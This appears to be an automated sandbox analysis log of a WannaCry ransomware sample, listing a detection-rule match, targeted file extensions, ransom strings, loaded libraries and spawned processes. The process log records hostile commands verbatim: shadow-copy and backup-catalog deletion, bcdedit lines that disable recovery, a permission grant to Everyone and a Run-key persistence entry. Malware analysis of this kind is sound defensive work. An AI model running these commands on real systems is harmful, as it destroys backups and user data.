                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.890589272.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1376826928.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1171288233.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1843993225.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpBinary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000000.849626717.000000000040E000.00000008.00000001.01000000.00000003.sdmpBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
                  Source: classification engineClassification label: mal100.rans.evad.winEXE@40/988@0/6
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00403A20 GetLogicalDrives,GetDriveTypeW,GetDriveTypeW,GetDiskFreeSpaceExW,31_2_00403A20
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Users\user\Desktop\b.wnryJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9196:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8668:304:WilStaging_02
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeMutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8668:120:WilError_03
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeMutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:304:WilStaging_02
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9196:120:WilError_03
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile created: C:\Documents and Settings\All Users\Adobe\Temp\~SD6D4F.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 109861721946031.bat
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
                  Source: LisectAVT_2403002A_126.EXE.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: C:\Windows\SysWOW64\cscript.exeFile read: C:\Users\desktop.iniJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_6-217
                  Source: unknownProcess created: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe "C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe"
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
                  Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 109861721946031.bat
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe co
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe TaskData\Tor\taskhsvc.exe
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskse.exe taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "njyalyugfohc920" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 109861721946031.batJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbsJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: edgegdi.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: msvcp60.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: edgegdi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: linkinfo.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: ntshrui.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cscapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: edgegdi.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: propsys.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: photometadatahandler.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: windowscodecs.dll
                  Source: C:\Windows\System32\dllhost.exeSection loaded: onecoreuapcommonproxystub.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mswsock.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libevent-2-0-5.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libssp-0.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libgcc_s_sjlj-1.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libeay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: ssleay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: zlib1.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libeay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: cryptsp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: rsaenh.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: cryptbase.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: windows.storage.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wldp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: kernel.appcore.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: propsys.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: profapi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: mswsock.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: iphlpapi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dhcpcsvc6.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dhcpcsvc.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dnsapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iphlpapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: framedynos.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: sspicli.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: wbemcomn.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: msxml6.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: urlmon.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iertutil.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: srvcli.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: netutils.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: edgegdi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: vcruntime140.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: amsi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: userenv.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: profapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: version.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: wtsapi32.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: winsta.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: userenv.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: windows.storage.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wldp.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: ntmarta.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: kernel.appcore.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textinputframework.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coreuicomponents.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coremessaging.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textshaping.dll
